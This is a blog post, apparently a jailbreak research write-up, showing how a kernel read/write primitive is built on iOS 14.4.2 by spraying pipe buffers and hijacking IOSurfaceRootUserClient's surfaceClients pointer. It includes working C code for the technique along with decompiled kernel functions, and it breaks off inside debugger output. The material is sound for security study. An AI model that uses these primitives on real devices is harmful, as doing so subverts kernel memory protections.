{"id":3135,"date":"2025-03-11T01:26:45","date_gmt":"2025-03-10T16:26:45","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3135"},"modified":"2025-03-11T01:26:47","modified_gmt":"2025-03-10T16:26:47","slug":"practice-implementing-kernel-r-w-primitive-using-pipe-and-iosurface","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3135","title":{"rendered":"[Practice] Implementing kernel r\/w primitive using pipe and IOSurface"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Recently, I\u2019m researching how iOS jailbreak technique was used from old to nowadays.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At this time, I\u2019m going to explain how kernel r\/w primitive has been achieved that was used in <a href=\"https:\/\/github.com\/pattern-f\/TQ-pre-jailbreak\">pattern-f\u2019s TQ-pre-jailbreak.<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Beginning of start<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Most of iOS jailbreak tools has kernel r\/w functions despite of tfp0\/hsp4 technique has been patched. (But checkm8, palera1n jailbreaks can still use tfp0)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example: unc0ver has libkrw libraries, Taurine has libkernrw library, and Dopamine can calls jbdInitPPLRW or jbclient_initialize_primitives in libjailbreak libraries to obtain kernel r\/w from userspace.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, we can easily starting research without having to implement kernel exploit.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At this moment my environment is on iPhone 8, iOS 14.4.2, so I\u2019m going to use libkernrw library.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Summary: obtaining krw primitive using pipe<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">The <code>pipe<\/code> system function usually used to communicate between child process and parent process. We have one pairs of file descriptor if call <code>pipe<\/code>. One is read purpose, the other is write purpose.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Using this <code>pipe<\/code> function, we can allocate kernel memory by arbitrary size.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Because, when calling <code>pipe<\/code> and <code>write<\/code> to fd, then it internally calls <code>pipespace<\/code> to allocate kva for pipe circular buffer.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/*\n * perform a write of n bytes into the read side of buffer. Since\n * pipes are unidirectional a write is meant to be read by the otherside only.\n *\/\nstatic int\npipe_write(struct fileproc *fp, struct uio *uio, __unused int flags,\n    __unused vfs_context_t ctx)\n{\n\tint error = 0;\n\tsize_t orig_resid;\n\tint pipe_size;\n\tstruct pipe *wpipe, *rpipe;\n\t...\n\n\tpipe_size = 0;\n\n\t\/*\n\t * need to allocate some storage... we delay the allocation\n\t * until the first write on fd[0] to avoid allocating storage for both\n\t * 'pipe ends'... most pipes are half-duplex with the writes targeting\n\t * fd[1], so allocating space for both ends is a waste...\n\t *\/\n\n\tif (wpipe->pipe_buffer.buffer == 0 || (\n\t\t    (unsigned)orig_resid > wpipe->pipe_buffer.size - wpipe->pipe_buffer.cnt &amp;&amp;\n\t\t    amountpipekva &lt; maxpipekva)) {\n\t\tpipe_size = choose_pipespace(wpipe->pipe_buffer.size, wpipe->pipe_buffer.cnt + orig_resid);\n\t}\n\tif (pipe_size) {\n\t\t\/*\n\t\t * need to do initial allocation or resizing of pipe\n\t\t * holding both structure and io locks.\n\t\t *\/\n\t\tif ((error = pipeio_lock(wpipe, 1)) == 0) {\n\t\t\tif (wpipe->pipe_buffer.cnt == 0) {\n\t\t\t\terror = pipespace(wpipe, pipe_size);\n\t\t\t} else {\n\t\t\t\terror = expand_pipespace(wpipe, pipe_size);\n\t\t\t}\n\n\t\t\tpipeio_unlock(wpipe);\n\n\t\t\t\/* allocation failed *\/\n\t\t\tif (wpipe->pipe_buffer.buffer == 0) {\n\t\t\t\terror = ENOMEM;\n\t\t\t}\n\t\t}\n...\n\n\treturn error;\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">With controlling memory in allocated pipe space by <code>write<\/code>, can be achieved kernel r\/w primitive using IOSurface by overwriting rpipe\u2019s pipe_base to IOSurfaceRootUserClient_addr\u2019s surfaceClients. (rpipe means pipe for read purpose)<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Prepare to use IOSurfaceClient<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">To use and allocate IOSurface objects, we need to call <code>IOServiceGetMatchingService<\/code> to search IOSurfaceRoot and <code>IOServiceOpen<\/code> to open connection between IOSurface objects.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">void IOSurfaceRoot_init(void)\n{\n    io_service_t IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(\"IOSurfaceRoot\"));\n    if (IOSurfaceRoot == MACH_PORT_NULL)\n    {\n        printf(\"Couldn't find IOSurfaceRoot.\\\\n\");   exit(1);\n    }\n    \n    if (IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &amp;IOSurfaceRootUserClient) != KERN_SUCCESS)\n    {\n        printf(\"Could not open IOSurfaceRootUserClient.\\\\n\");   exit(1);\n    }\n}<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Calling IOSurfaceRootUserClient::s_create_surface_fast_path<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Mostly, at that time, It makes to me analyzing IOSurfaceRootUserClient\u2019s internal function just like above function is one of hurdle to figure out what does it do.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Because there\u2019s no function symbol in kernelcache and nowhere documented API.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But since macOS 13.0+ Kernel KDK, there are symbols in IOSurface.kext.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"912\" height=\"1022\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-4.png\" alt=\"\" class=\"wp-image-3136\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-4.png 912w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-4-268x300.png 268w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-4-768x861.png 768w\" sizes=\"auto, (max-width: 912px) 100vw, 912px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Thanks for that info, I could figure out address where functions is in iPhone kernelcache.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Why we need to call <code>s_create_surface_fast_path<\/code> function before using primitive? Because when using IOSurface primitive, now internally kread32 calls <code>IOSurfaceRootUserClient::get_ycbcrmatrix<\/code> and kwrite64 calls <code>IOSurfaceRootUserClient::s_set_indexed_timestamp<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These two functions both call <code>retainSurface<\/code> , it checks if SurfaceClient can be obtained or not, so that\u2019s why need to call <code>s_create_surface_fast_path<\/code>. Below is the code from IOSurface.kext in macOS 13.0 KDK.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 __fastcall IOSurfaceRootUserClient::get_ycbcrmatrix(IOLock **this, unsigned int a2, unsigned int *a3)\n{\n  IOSurface *v3; \/\/ x0\n  IOSurface *v4; \/\/ x19\n  __int64 YCbCrMatrix; \/\/ x20\n\n  v3 = (IOSurface *)IOSurfaceRootUserClient::retainSurface(this, a2);\n  if ( !v3 )\n    return 0xE00002C2LL;\n  v4 = v3;\n  YCbCrMatrix = IOSurface::getYCbCrMatrix(v3);\n  (*(void (__fastcall **)(IOSurface *))(*(_QWORD *)v4 + 40LL))(v4);\n  return YCbCrMatrix;\n}<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 __fastcall IOSurfaceRootUserClient::set_indexed_timestamp(\n        IOLock **this,\n        unsigned int a2,\n        unsigned __int64 a3,\n        unsigned __int64 a4)\n{\n  IOSurface *v6; \/\/ x0\n  IOSurface *v7; \/\/ x19\n  __int64 v8; \/\/ x20\n\n  v6 = (IOSurface *)IOSurfaceRootUserClient::retainSurface(this, a2);\n  if ( !v6 )\n    return 0xE00002C2LL;\n  v7 = v6;\n  v8 = IOSurface::setIndexedTimestamp(v6, a3, a4);\n  (*(void (__fastcall **)(IOSurface *))(*(_QWORD *)v7 + 40LL))(v7);\n  return v8;\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Also, how do we know to IOConnectCallMethod&#8217;s selector number is <code>6<\/code> to call <code>s_create_surface_fast_path<\/code>?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">IOUserClient::externalMethod internally calls IOSurfaceRootUserClient::sMethodDescs, so if selector is <code>6<\/code>, then <code>IOSurfaceRootUserClient::externalMethod<\/code> \u2019s <code>a2<\/code> is 6.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Below is the code from kernelcache in iPhone 8 14.4.2.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 __fastcall IOSurfaceRootUserClient::externalMethod(\n        IOUserClient *a1,\n        __int64 a2,\n        IOExternalMethodArguments *a3,\n        IOExternalMethodDispatch *a4,\n        IOUserClient *a5,\n        void *a6)\n{\n  if ( (unsigned int)a2 > 0x2B )\n    return IOUserClient::externalMethod(a1, a2, a3, a4, a5, a6);\n  if ( !a3->asyncReference || (_DWORD)a2 == 0x28 || (_DWORD)a2 == 0x11 )\n  {\n    a4 = (IOExternalMethodDispatch *)&amp;IOSurfaceRootUserClient::sMethodDescs[3 * (unsigned int)a2];\n    a5 = a1;\n    return IOUserClient::externalMethod(a1, a2, a3, a4, a5, a6);\n  }\n  return 0xE00002C2LL;\n}<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">iphone 8 14.4.2\nselector \/ address \/ function\n\n__DATA_CONST:__const:FFFFFFF007866D28                         ; __int64 (__fastcall *IOSurfaceRootUserClient::sMethodDescs[3])(IOSurfaceRootUserClient *__hidden this, IOSurfaceRootUserClient *, void *, IOExternalMethodArguments *)\n__DATA_CONST:__const:FFFFFFF007866D28 80 63 42 08 F0 FF FF FF __ZN23IOSurfaceRootUserClient12sMethodDescsE DCQ __ZN23IOSurfaceRootUserClient16s_create_surfaceEPS_PvP25IOExternalMethodArguments\n__DATA_CONST:__const:FFFFFFF007866D28                                                                 ; DATA XREF: IOSurfaceRootUserClient::externalMethod(uint,IOExternalMethodArgumentsOpaque *):loc_FFFFFFF0084294AC\u2193o\n0 __DATA_CONST:__const:FFFFFFF007866D28                                                                 ; IOSurfaceRootUserClient::s_create_surface(IOSurfaceRootUserClient*,void *,IOExternalMethodArguments *)\n1 __DATA_CONST:__const:FFFFFFF007866D40 60 64 42 08 F0 FF FF FF                 DCQ __ZN23IOSurfaceRootUserClient17s_release_surfaceEPS_PvP25IOExternalMethodArguments ; IOSurfaceRootUserClient::s_release_surface(IOSurfaceRootUserClient*,void *,IOExternalMethodArguments *)\n2 __DATA_CONST:__const:FFFFFFF007866D58 6C 64 42 08 F0 FF FF FF                 DCQ __ZN23IOSurfaceRootUserClient14s_lock_surfaceEPS_PvP25IOExternalMethodArguments ; IOSurfaceRootUserClient::s_lock_surface(IOSurfaceRootUserClient*,void *,IOExternalMethodArguments *)\n3 __DATA_CONST:__const:FFFFFFF007866D70 84 64 42 08 F0 FF FF FF                 DCQ __ZN23IOSurfaceRootUserClient16s_unlock_surfaceEPS_PvP25IOExternalMethodArguments ; IOSurfaceRootUserClient::s_unlock_surface(IOSurfaceRootUserClient*,void *,IOExternalMethodArguments *)\n4 __DATA_CONST:__const:FFFFFFF007866D88 9C 64 42 08 F0 FF FF FF                 DCQ __ZN23IOSurfaceRootUserClient16s_lookup_surfaceEPS_PvP25IOExternalMethodArguments ; IOSurfaceRootUserClient::s_lookup_surface(IOSurfaceRootUserClient*,void *,IOExternalMethodArguments *)\n5 __DATA_CONST:__const:FFFFFFF007866DA0 AC 64 42 08 F0 FF FF FF                 DCQ __ZN23IOSurfaceRootUserClient17s_set_ycbcrmatrixEPS_PvP25IOExternalMethodArguments ; IOSurfaceRootUserClient::s_set_ycbcrmatrix(IOSurfaceRootUserClient*,void *,IOExternalMethodArguments *)\n6 __DATA_CONST:__const:FFFFFFF007866DB8 BC 64 42 08 F0 FF FF FF                 DCQ __ZN23IOSurfaceRootUserClient26s_create_surface_fast_pathEPS_PvP25IOExternalMethodArguments ; IOSurfaceRootUserClient::s_create_surface_fast_path(IOSurfaceRootUserClient*,void *,IOExternalMethodArguments *)\n...<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now we know how to call function by selector, figured out select <code>6<\/code> calls <code>sub_FFFFFFF0084264BC<\/code>, so that is <code>s_create_surface_fast_path<\/code>. Like this, <code>sub_FFFFFFF0084264DC<\/code> is <code>s_get_ycbcrmatrix<\/code> , <code>sub_FFFFFFF008426E44<\/code> is <code>s_set_indexed_timestamp<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">During analyzing <code>s_create_surface_fast_path<\/code> function, figuring out <code>_IOSurfaceFastCreateArgs<\/code> and <code>IOSurfaceLockResult\u2019s<\/code> struct was hurdle to me, but now we can call from userspace and obtain surface_id. surface_id usually determine if we reused object when using heap spray, but at this time we already have kernel r\/w, so let me research later. Below is the code how to call <code>s_create_surface_fast_path<\/code>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">uint32_t iosurface_s_create_surface_fast_path(void)\n{\n    struct _IOSurfaceFastCreateArgs {\n        uint64_t address;\n        uint32_t width;\n        uint32_t height;\n        uint32_t pixel_format;\n        uint32_t bytes_per_element;\n        uint32_t bytes_per_row;\n        uint32_t alloc_size;\n    };\n\n    struct IOSurfaceLockResult {\n        uint8_t _pad1[0x18];\n        uint32_t surface_id;\n        uint8_t _pad2[0xF60-0x18-0x4];\n    };\n    \n    struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t)vm_real_kernel_page_size };\n    struct IOSurfaceLockResult lock_result = {0};\n    uint64_t lock_result_size = sizeof(lock_result);\n\n    IOConnectCallMethod(\n            IOSurfaceRootUserClient,\n            6,\n            NULL, 0,\n            &amp;create_args, sizeof(create_args),\n            NULL, NULL,\n            &amp;lock_result, (size_t *)&amp;lock_result_size);\n    \n    return lock_result.surface_id;\n}<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Create pipe<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For allocating kernel memory, <code>create_pipes<\/code> make <code>pipe_buffer<\/code> using malloc and stores <code>pipefds<\/code> for handle later.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>pipe_spray function<\/code> writes <code>pipe_buffer<\/code> to <code>wfd<\/code>, then that makes allocating kernel memory as much as allocated size for pipe buffer before.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At the end, It calls <code>read_pipe<\/code> later, and I\u2019ll explain why it needs to be called later.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ pipe\n\/\/ bsd\/kern\/sys_pipe.c:393\nint *\ncreate_pipes(void) {\n    \/\/ Allocate our initial array.\n    size_t capacity = 1;\n    int *pipefds = calloc(2 * capacity, sizeof(int));\n    \/\/ Create as many pipes as we can.\n    size_t count = 0;\n\n    \/\/ First create our pipe fds.\n    int fds[2] = { -1, -1 };\n    int error = pipe(fds);\n    \n    \/\/ Unfortunately pipe() seems to return success with invalid fds once we've\n    \/\/ exhausted the file limit. Check for this.\n    if (error != 0 || fds[0] &lt; 0 || fds[1] &lt; 0) {\n        pipe_close(fds);\n        exit(1);\n    }\n    \/\/ Mark the write-end as nonblocking.\n    \/\/set_nonblock(fds[1]);\n    \/\/ Store the fds.\n    pipefds[0] = fds[0];\n    pipefds[1] = fds[1];\n\n    \/\/ assert(count == capacity &amp;&amp; \"can't alloc enough pipe fds\");\n    \/\/ Truncate the array to the smaller size.\n    \/\/ int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));\n    \/\/ assert(new_pipefds != NULL);\n    \/\/ Return the count and the array.\n    \/\/ *pipe_count = count;\n    return pipefds;\n}\n\nsize_t\npipe_spray(const int *pipefds, size_t pipe_count,\n        void *pipe_buffer, size_t pipe_buffer_size) {\n    size_t write_size = pipe_buffer_size - 1;\n    size_t pipes_filled = 0;\n    for (size_t i = 0; i &lt; pipe_count; i++) {\n        \/\/ Fill the write-end of the pipe with the buffer. Leave off the last byte.\n        int wfd = pipefds[i + 1];\n        ssize_t written = write(wfd, pipe_buffer, write_size);\n        if (written != write_size) {\n            \/\/ This is most likely because we've run out of pipe buffer memory. None of\n            \/\/ the subsequent writes will work either.\n            break;\n        }\n        pipes_filled++;\n    }\n    return pipes_filled;\n}\n\n\/\/create pipes\n\tpipefds = create_pipes();\n\tpipe_buffer = (uint8_t *)malloc(pipe_buffer_size);\n\t\/\/memset_pattern4 = \uba54\ubaa8\ub9ac \uc124\uc815 \ud568\uc218\ub85c, 4\ubc14\uc774\ud2b8 \ud328\ud134\uc744 \uc0ac\uc6a9\ud558\uc5ec \ud2b9\uc815 \uba54\ubaa8\ub9ac \uc601\uc5ed\uc744 \ucc44\uc6b8 \ub54c \uc0ac\uc6a9, \ub530\ub77c\uc11c pipe 4\uae00\uc790\ub85c \ucc44\uc6cc\uc9d0\n\tmemset_pattern4(pipe_buffer, \"ABCD\", pipe_buffer_size);\t\/\/&lt;- work even if disable this code.\n\tpipe_spray(pipefds, 1, pipe_buffer, pipe_buffer_size);\n\tread_pipe();\t<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Find port for IOSurfaceRootUserClient<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Next, we need to find port that we opened connection between IOSurface objects.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Inter-Process communication can achieved via Ports, so we need to find port for primitive.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Using <code>kernproc<\/code>, we can distinguish certain process by reading <code>p_pid<\/code> of struct <code>proc<\/code>, and enumerate process list by reading <code>p_list_le_prev<\/code> of struct <code>proc<\/code> . This implements in <code>proc_of_pid<\/code> function.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Next, we can access field of structure sequentially like below picture. Remind that ipc_entry\u2019s ie_object can be type casted with <code>struct ipc_port<\/code>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"393\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-5-1024x393.png\" alt=\"\" class=\"wp-image-3137\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-5-1024x393.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-5-300x115.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-5-768x295.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-5-1536x590.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-5.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">uint64_t proc_of_pid(pid_t pid) {\n    uint64_t proc = kread64(ksym(KSYMBOL_KERNPROC));\n    \n    while (1) {\n        if(kread32(proc + off_p_pid) == pid) {\n            return proc;\n        }\n        proc = kread64(proc + off_p_list_le_prev);\n        if(!proc) {\n            return -1;\n        }\n    }\n    \n    return 0;\n}\n\nuint64_t task_self_addr() {\n    uint64_t proc = proc_of_pid(getpid());\n    uint64_t task = kread64(proc + off_p_task);\n    return task;\n}\n\nuint64_t find_port(mach_port_name_t port) {\n    uint64_t task_addr = task_self_addr();\n    \n    uint64_t itk_space = kread64(task_addr + off_task_itk_space);\n    \n    uint64_t is_table = kread64(itk_space + off_ipc_space_is_table);\n    \n    uint32_t port_index = port >> 8;\n    const int sizeof_ipc_entry_t = 0x18;\n    \n    uint64_t port_addr = kread64(is_table + (port_index * sizeof_ipc_entry_t));\n    return port_addr;\n}\n\n\/\/build_stable_kmem_api\n\tuint64_t IOSurfaceRootUserClient_port = find_port(IOSurfaceRootUserClient);\n\tIOSurfaceRootUserClient_addr = kread64(IOSurfaceRootUserClient_port + off_ipc_port_ip_kobject);IOSurfaceRootUserClient_addr = kread64(IOSurfaceRootUserClient_port + off_ipc_port_ip_kobject);<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Build stable kernel r\/w primitive<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Since we know IOSurfaceRootUserClient\u2019s port, now overwrite its port to <code>pipe_base<\/code>. <code>pipe_base<\/code> means pipe fd\u2019s for read buffer. We can access pipe buffer(pipe_base) like below pictures.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"299\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-6-1024x299.png\" alt=\"\" class=\"wp-image-3138\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-6-1024x299.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-6-300x88.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-6-768x224.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-6-1536x449.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-6.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">uint64_t surfaceClients = 0;\nuint64_t rpipe = 0;\nuint64_t wpipe = 0;\nvoid build_stable_kmem_api()\n{\n    uint64_t p_fd = kread64(proc_of_pid(getpid()) + off_p_pfd); \n    uint64_t fd_ofiles = kread64(p_fd); \n    uint64_t rpipe_fp = kread64(fd_ofiles + pipefds[0] * 8);\n    uint64_t r_fp_glob = kread64(rpipe_fp + off_fp_fglob);\n    rpipe = kread64(r_fp_glob + off_fg_data); \n    uint64_t wpipe_fp = kread64(fd_ofiles + pipefds[1] * 8);\n    uint64_t w_fp_glob = kread64(wpipe_fp + off_fp_fglob);\n    wpipe = kread64(w_fp_glob + off_fg_data); \n    printf(\"rpipe = 0x%llx, wpipe = 0x%llx\\\\n\", rpipe, wpipe);\n    \n    uint32_t rpipe_cnt = kread32(rpipe + off_pb_cnt);\n    uint32_t wpipe_cnt = kread32(wpipe + off_pb_cnt);\n    printf(\"rpipe_cnt = 0x%x, wpipe_cnt = 0x%x\\\\n\", rpipe_cnt, wpipe_cnt);\n\n    pipe_base = kread64(rpipe + off_pb_buffer); \n    printf(\"pipe_base = 0x%llx\\\\n\", pipe_base);\n    \n    \/\/0x118?\n    surfaceClients = kread64(IOSurfaceRootUserClient_addr + 0x118);\n    printf(\"surfaceClients = 0x%llx\\\\n\", surfaceClients);\n\n    kwrite64(IOSurfaceRootUserClient_addr + 0x118, pipe_base);\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">At this time, we have curious about how 0x118 offset fields calculated and it represents <code>0x118<\/code> is surfaceClients field of IOSurfaceRootUserClient structure, the source is from oob_timestamp exploit and \u201cExploiting IOSurface 0\u201d presentation. At least we know kread32 use <code>get_ycbcmatrix<\/code> and kwrite64 use <code>set_indexed_timestamp<\/code>, and when analyzed that functions, it reads something from <code>a1 + 0x118<\/code>&#8230;, so I guess that\u2019s what we use base address to obtain primitive. Now, let\u2019s see what happened if we overwrite <code>pipe_base<\/code> to <code>IOSurfaceRootUserClient_addr + 0x118<\/code>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"343\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-7-1024x343.png\" alt=\"\" class=\"wp-image-3139\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-7-1024x343.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-7-300x100.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-7-768x257.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-7-1536x514.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-7.png 1632w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"533\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-8-1024x533.png\" alt=\"\" class=\"wp-image-3140\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-8-1024x533.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-8-300x156.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-8-768x400.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-8.png 1256w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">kpri_read32<\/h2>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">void read_pipe()\n{\n    size_t read_size = pipe_buffer_size - 1;\n    read(pipefds[0], pipe_buffer, read_size);\n}\n\nvoid write_pipe()\n{\n    size_t write_size = pipe_buffer_size - 1;\n    write(pipefds[1], pipe_buffer, write_size);\n}\n\nuint32_t kpri_read32(uint64_t where) {\n    struct fake_client *p = (void *)pipe_buffer;\n\n    p->uc_obj = pipe_base + 0x10;\n    p->surf_obj = where - 0xb4;\n\n\t\twrite_pipe();\n    uint32_t v = iosurface_s_get_ycbcrmatrix();\n    read_pipe();\n    \n    return v;\n};<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Above code is implementation of kread32 primitive. I was so curious about 3 things. How fake_client structure can be created, and why add <code>+0x10<\/code> to pipe_base, and why substract <code>-0xb4<\/code> from where?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When I set breakpoint after called <code>LDR X8, [X19,#0x118]<\/code>, x8 register has <code>0xffffffe4cdca1000<\/code> which means <code>pipe_base<\/code> representing rpipe\u2019s pipe_buffer, and <code>p-&gt;uc_obj<\/code> , <code>p-&gt;surf_obj<\/code> has been modified by calling <code>write_pipe<\/code> (See x\/32gx 0xffffffe4cdca1000\u2026)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Remind that\u2026 <code>offsetof(struct fake_client, uc_obj) = 0x8<\/code> <code>offsetof(struct fake_client, surf_obj) = 0x50<\/code><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">bp set in...\ncom.apple.iokit.IOSurface:__text:FFFFFFF008428114+0x40\n__ZN23IOSurfaceRootUserClient15get_ycbcrmatrixEjPj\n0xFFFFFFF008428114+0x40 = 0xFFFFFFF008428154\n\n Process 1 stopped\n * thread #2, stop reason = instruction step into\n     frame #0: 0xfffffff0213cc154\n ->  0xfffffff0213cc154: ldr    x0, [x8, w22, uxtw #3]\n     0xfffffff0213cc158: cbz    x0, 0xfffffff0213cc168\n     0xfffffff0213cc15c: mov    x1, x21\n     0xfffffff0213cc160: bl     0xfffffff0213c6500\n Target 1: (kernelcache.iPhone10,1.18D70) 